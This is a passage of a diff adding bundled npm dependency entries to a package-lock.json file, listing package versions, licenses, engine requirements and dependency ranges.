"node": ">=8" + } + }, + "node_modules/npm/node_modules/cli-table3/node_modules/strip-ansi": { + "version": "6.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/clone": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/cmd-shim": { + "version": "4.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "mkdirp-infer-owner": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/code-point-at": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/color-convert": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/npm/node_modules/color-name": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/color-support": { + "version": "1.1.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "bin": { + "color-support": "bin.js" + } + }, + "node_modules/npm/node_modules/colors": { + "version": "1.4.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/npm/node_modules/columnify": { + "version": "1.5.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "strip-ansi": "^3.0.0", + "wcwidth": "^1.0.0" + } + }, + "node_modules/npm/node_modules/combined-stream": { + "version": "1.0.8", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/npm/node_modules/common-ancestor-path": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/concat-map": { + "version": "0.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/console-control-strings": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/core-util-is": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/dashdash": { + "version": "1.14.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/npm/node_modules/debug": { + "version": "4.3.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/npm/node_modules/debug/node_modules/ms": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/debuglog": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/defaults": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "clone": "^1.0.2" + } + }, + "node_modules/npm/node_modules/delayed-stream": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/npm/node_modules/delegates": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/depd": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/dezalgo": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "asap": "^2.0.0", + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/diff": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/npm/node_modules/ecc-jsbn": { + "version": "0.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "node_modules/npm/node_modules/emoji-regex": { + "version": "8.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/encoding": { + "version": "0.1.13", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "iconv-lite": "^0.6.2" + } + }, + "node_modules/npm/node_modules/env-paths": { + "version": "2.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/err-code": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/extend": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/extsprintf": { + "version": "1.3.0", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fast-deep-equal": { + "version": "3.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fastest-levenshtein": { + "version": "1.0.12", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/forever-agent": { + "version": "0.6.1", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/fs-minipass": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/fs.realpath": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/function-bind": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/gauge": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.2", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.1", + "object-assign": "^4.1.1", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1 || ^2.0.0", + "strip-ansi": "^3.0.1 || ^4.0.0", + "wide-align": "^1.1.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/getpass": { + "version": "0.1.7", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/npm/node_modules/glob": { + "version": "7.2.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/graceful-fs": { + "version": "4.2.8", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/har-schema": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/har-validator": { + "version": "5.1.5", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/has": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/npm/node_modules/has-flag": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/has-unicode": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/hosted-git-info": { + "version": "4.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/http-cache-semantics": { + "version": "4.1.0", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause" + }, + "node_modules/npm/node_modules/http-proxy-agent": { + "version": "4.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/http-signature": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + }, + "engines": { + "node": ">=0.8", + "npm": ">=1.3.7" + } + }, + "node_modules/npm/node_modules/https-proxy-agent": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/humanize-ms": { + "version": "1.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ms": "^2.0.0" + } + }, + "node_modules/npm/node_modules/iconv-lite": { + "version": "0.6.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ignore-walk": { + "version": "3.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minimatch": "^3.0.4" + } + }, + "node_modules/npm/node_modules/imurmurhash": { + "version": "0.1.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/npm/node_modules/indent-string": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/infer-owner": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/inflight": { + "version": "1.0.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/inherits": { + "version": "2.0.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/ini": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/init-package-json": { + "version": "2.0.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-package-arg": "^8.1.5", + "promzard": "^0.3.0", + "read": "~1.0.1", + "read-package-json": "^4.1.1", + "semver": "^7.3.5", + "validate-npm-package-license": "^3.0.4", + "validate-npm-package-name": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/ip": { + "version": "1.1.5", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ip-regex": { + "version": "4.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/is-cidr": { + "version": "4.0.2", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "cidr-regex": "^3.1.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/is-core-module": { + "version": "2.7.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/npm/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/is-lambda": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/is-typedarray": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/isexe": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/isstream": { + "version": "0.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/jsbn": { + "version": "0.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-schema": { + "version": "0.2.3", + "dev": true, + "inBundle": true + }, + "node_modules/npm/node_modules/json-schema-traverse": { + "version": "0.4.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-stringify-nice": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/json-stringify-safe": { + "version": "5.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/jsonparse": { + "version": "1.3.1", + "dev": true, + "engines": [ + "node >= 0.2.0" + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/jsprim": { + "version": "1.4.1", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "node_modules/npm/node_modules/just-diff": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/just-diff-apply": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/libnpmaccess": { + "version": "4.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "minipass": "^3.1.1", + "npm-package-arg": "^8.1.2", + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmdiff": { + "version": "2.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/disparity-colors": "^1.0.1", + "@npmcli/installed-package-contents": "^1.0.7", + "binary-extensions": "^2.2.0", + "diff": "^5.0.0", + "minimatch": "^3.0.4", + "npm-package-arg": "^8.1.4", + "pacote": "^11.3.4", + "tar": "^6.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmexec": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/arborist": "^2.3.0", + "@npmcli/ci-detect": "^1.3.0", + "@npmcli/run-script": "^1.8.4", + "chalk": "^4.1.0", + "mkdirp-infer-owner": "^2.0.0", + "npm-package-arg": "^8.1.2", + "pacote": "^11.3.1", + "proc-log": "^1.0.0", + "read": "^1.0.7", + "read-package-json-fast": "^2.0.2", + "walk-up-path": "^1.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmfund": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/arborist": "^2.5.0" + } + }, + "node_modules/npm/node_modules/libnpmhook": { + "version": "6.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmorg": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmpack": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/run-script": "^1.8.3", + "npm-package-arg": "^8.1.0", + "pacote": "^11.2.6" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmpublish": { + "version": "4.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "normalize-package-data": "^3.0.2", + "npm-package-arg": "^8.1.2", + "npm-registry-fetch": "^11.0.0", + "semver": "^7.1.3", + "ssri": "^8.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmsearch": { + "version": "3.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmteam": { + "version": "2.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmversion": { + "version": "1.2.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/git": "^2.0.7", + "@npmcli/run-script": "^1.8.4", + "json-parse-even-better-errors": "^2.3.1", + "semver": "^7.3.5", + "stringify-package": "^1.0.1" + } + }, + "node_modules/npm/node_modules/lru-cache": { + "version": "6.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/make-fetch-happen": { + "version": "9.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "agentkeepalive": "^4.1.3", + "cacache": "^15.2.0", + "http-cache-semantics": "^4.1.0", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-lambda": "^1.0.1", + "lru-cache": "^6.0.0", + "minipass": "^3.1.3", + "minipass-collect": "^1.0.2", + "minipass-fetch": "^1.3.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "negotiator": "^0.6.2", + "promise-retry": "^2.0.1", + "socks-proxy-agent": "^6.0.0", + "ssri": "^8.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/mime-db": { + "version": "1.49.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/mime-types": { + "version": "2.1.32", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "mime-db": "1.49.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/minimatch": { + "version": "3.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/minipass": { + "version": "3.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/minipass-collect": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/minipass-fetch": { + "version": "1.4.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "minipass": "^3.1.0", + "minipass-sized": "^1.0.3", + "minizlib": "^2.0.0" + }, + "engines": { + "node": ">=8" + }, + "optionalDependencies": { + "encoding": "^0.1.12" + } + }, + "node_modules/npm/node_modules/minipass-flush": { + "version": "1.0.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/minipass-json-stream": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "jsonparse": "^1.3.1", + "minipass": "^3.0.0" + } + }, + "node_modules/npm/node_modules/minipass-pipeline": { + "version": "1.2.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/minipass-sized": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/minizlib": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/mkdirp": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/mkdirp-infer-owner": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "infer-owner": "^1.0.4", + "mkdirp": "^1.0.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/ms": { + "version": "2.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/mute-stream": { + "version": "0.0.8", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/negotiator": { + "version": "0.6.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/node-gyp": { + "version": "7.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.0", + "glob": "^7.1.4", + "graceful-fs": "^4.2.3", + "nopt": "^5.0.0", + "npmlog": "^4.1.2", + "request": "^2.88.2", + "rimraf": "^3.0.2", + "semver": "^7.3.2", + "tar": "^6.0.2", + "which": "^2.0.2" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 10.12.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/aproba": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/node-gyp/node_modules/gauge": { + "version": "2.7.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/is-fullwidth-code-point": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "number-is-nan": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/npmlog": { + "version": "4.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/string-width": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/nopt": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/normalize-package-data": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "hosted-git-info": "^4.0.1", + "is-core-module": "^2.5.0", + "semver": "^7.3.4", + "validate-npm-package-license": "^3.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-audit-report": { + "version": "2.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "chalk": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-bundled": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-normalize-package-bin": "^1.0.1" + } + }, + "node_modules/npm/node_modules/npm-install-checks": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "semver": "^7.1.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-normalize-package-bin": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/npm-package-arg": { + "version": "8.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "hosted-git-info": "^4.0.1", + "semver": "^7.3.4", + "validate-npm-package-name": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-packlist": { + "version": "2.2.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.6", + "ignore-walk": "^3.0.3", + "npm-bundled": "^1.1.1", + "npm-normalize-package-bin": "^1.0.1" + }, + "bin": { + "npm-packlist": "bin/index.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-pick-manifest": { + "version": "6.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-install-checks": "^4.0.0", + "npm-normalize-package-bin": "^1.0.1", + "npm-package-arg": "^8.1.2", + "semver": "^7.3.4" + } + }, + "node_modules/npm/node_modules/npm-profile": { + "version": "5.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-registry-fetch": { + "version": "11.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "make-fetch-happen": "^9.0.1", + "minipass": "^3.1.3", + "minipass-fetch": "^1.3.0", + "minipass-json-stream": "^1.0.1", + "minizlib": "^2.0.0", + "npm-package-arg": "^8.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/npm-user-validate": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause" + }, + "node_modules/npm/node_modules/npmlog": { + "version": "5.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "are-we-there-yet": "^2.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^3.0.0", + "set-blocking": "^2.0.0" + } + }, + "node_modules/npm/node_modules/npmlog/node_modules/are-we-there-yet": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/number-is-nan": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/oauth-sign": { + "version": "0.9.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/object-assign": { + "version": "4.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/once": { + "version": "1.4.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/opener": { + "version": "1.5.2", + "dev": true, + "inBundle": true, + "license": "(WTFPL OR MIT)", + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/npm/node_modules/p-map": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm/node_modules/pacote": { + "version": "11.3.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/git": "^2.1.0", + "@npmcli/installed-package-contents": "^1.0.6", + "@npmcli/promise-spawn": "^1.2.0", + "@npmcli/run-script": "^1.8.2", + "cacache": "^15.0.5", + "chownr": "^2.0.0", + "fs-minipass": "^2.1.0", + "infer-owner": "^1.0.4", + "minipass": "^3.1.3", + "mkdirp": "^1.0.3", + "npm-package-arg": "^8.0.1", + "npm-packlist": "^2.1.4", + "npm-pick-manifest": "^6.0.0", + "npm-registry-fetch": "^11.0.0", + "promise-retry": "^2.0.1", + "read-package-json-fast": "^2.0.1", + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.1.0" + }, + "bin": { + "pacote": "lib/bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/parse-conflict-json": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "json-parse-even-better-errors": "^2.3.0", + "just-diff": "^3.0.1", + "just-diff-apply": "^3.0.0" + } + }, + "node_modules/npm/node_modules/path-is-absolute": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/performance-now": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/proc-log": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/promise-all-reject-late": { + "version": 